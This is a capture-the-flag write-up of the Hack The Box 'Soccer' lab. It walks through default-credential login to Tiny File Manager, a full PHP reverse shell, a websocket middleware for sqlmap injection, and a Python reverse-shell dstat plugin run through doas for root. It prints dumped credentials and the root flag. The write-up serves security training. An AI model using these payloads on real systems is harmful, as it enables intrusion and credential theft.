Soccer — Hack The Box | Writeup with Flag | 2023
Hack The Box — Soccer Machine Simple Writeup by Karthikeyan Nagaraj
Published in
8 min readDec 31, 2022
Phases…
- Scanning
- Enumeration
- Privilege Escalation
Make sure to Connect with HTB Vpn
1. Scanning
Perform a nmap Scan first nmap -sC -sV <Machine-IP>
┌──(cyberw1ng㉿root)-[~]
└─$ nmap -sC -sV 10.10.11.194
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-31 22:45 IST
Nmap scan report for 10.10.11.194 (10.10.11.194)
Host is up (0.22s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Sat, 31 Dec 2022 17:16:22 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sat, 31 Dec 2022 17:16:22 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
| </html>
| RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sat, 31 Dec 2022 17:16:23 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=12/31%Time=63B06E60%P=x86_64-pc-linux-gnu%r(i
SF:nformix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\
SF:r\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\
SF:x20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r
SF:\nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-O
SF:ptions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nC
SF:ontent-Length:\x20139\r\nDate:\x20Sat,\x2031\x20Dec\x202022\x2017:16:22
SF:\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lan
SF:g=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n<
SF:/head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(H
SF:TTPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Po
SF:licy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143
SF:\r\nDate:\x20Sat,\x2031\x20Dec\x202022\x2017:16:22\x20GMT\r\nConnection
SF::\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<m
SF:eta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>
SF:Cannot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"H
SF:TTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-
SF:src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x2
SF:0text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Sat,
SF:\x2031\x20Dec\x202022\x2017:16:23\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"
SF:utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS
SF:\x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2
SF:F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")
SF:%r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnec
SF:tion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelThe best way to Enumeration is to check for any Vulnerable Endpoints
Ports and Services running are mentioned below,
Open Ports | Service Running
-----------|-----------------
22 | ssh
80 | http
9091 | xmltec-xmlmail2. Enumeration
Let’s Look on httpfirst
- On Opening the IP, It is redirecting to
soccer.htbas it looks like a private site, so let’s add the domain to/etc/hosts
sudo echo 10.10.11.194 soccer.htb >> /etc/hosts2. In some cases sudo doesn’t work, at the time use su before running the Command
su
echo 10.10.11.194 soccer.htb >> /etc/hosts
Now let’s open the website soccer.htb
3. It looks like the page has no Information Available, Even in the Source code : (
4. Let’s Enumerate the Directories!!
For short web Content Enumeration, I’ll use the Below wordlist
/usr/share/seclists/Discovery/Web-Content/SVNDigger/all-dirs.txt
Sometimes dirb will slow, so you can use gobuster as alternative
5. From the Analysis, we found a directory /tiny
http://soccer.htb/tiny/
6. Notice the Bottom of the Image → © CCP Programmers
7. The Page is developed by Tiny File Manager which uses 2 default credentials that are mentioned in their GitHub documentation.
Try to Login with those Credentials.
username: admin
password: admin@123
username: user
password: 12345We logged In as Admin : )
8. There is a “File Upload” feature that we can use to obtain aReverse shell
9. I used the Below Reverse shell
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.42'; // CHANGE THIS
$port = 2929; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>10. Make sure to change the IP Address and name it as .php
11. Then, Upload the File
The File is uploaded in /tiny/uploads/ directory
12. Before running the Reverse shell, Start the Listener by using the below command (The port used in the rev_shell should be used here to get reverse Connection)
nc -nvlp 2929
now type the URL of the reverse shell to gain a reverse connection like below
http://soccer.htb/tiny/uploads/<your-shell-name>
13. We got the reverse Connection!!
Now use the below Command to get bash
python3 -c "import pty;pty.spawn('/bin/bash')" 
14. On /etc/nginx/sites-enabledwe found a subdomain
15. so Let’s add the soc-player.soccer.htb to our /etc/hosts and open it in the browser
su
echo <htb_machine_ip> soc-player.soccer.htb >> /etc/hosts
16. There are some options like Match, Login and Signup option Available
Let’s Sign up and Login
17. On Viewing the source code, we get to know that this field is connected to the Web socket
18. We can use the Below python code to direct the request from sqlmap to our localhost
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass19. First, run the python script and then the sqlmap command
sqlmap -u “http://localhost:8081/?id=1" -p “id”
20. We got some Credentials
+------+-------------------+----------+----------------------+
| id | email | username | password |
+------+-------------------+----------+----------------------+
| 1324 | player@player.htb | player | PlayerOftheMatch2022 |
+------+-------------------+----------+----------------------+21. Let’s use these creds to login via ssh
3. Privilege Escalation
- Use linpeas and perform an Enumeration (If needed add a Comment, I’ll post in Brief)
[+] Checking doas.conf
permit nopass player as root cmd /usr/bin/dstat
2. Create a python plugin called dstat_cyberw1ng.py in /usr/local/share/dstat/ with below code
/usr/local/share/dstat/ && nano dstat_cyberw1ng.pyimport socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“<your-IP>”,2929));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty; pty.spawn(“/bin/sh”)3. Make sure to set a Listener before execution
nc -nvlp 29294. Execute the below command and navigate to /root && cat root.txt
doas -u root /usr/bin/dstat --cyberw1ng
Flag: 6314c94f697b6d45e83003814fd187c2Feel Free to Ask Queries via LinkedIn and to Buy me a Cofee : )
Thank you for Reading!!
Happy Hacking ~
Author: Karthikeyan Nagaraj ~ Cyberw1ng
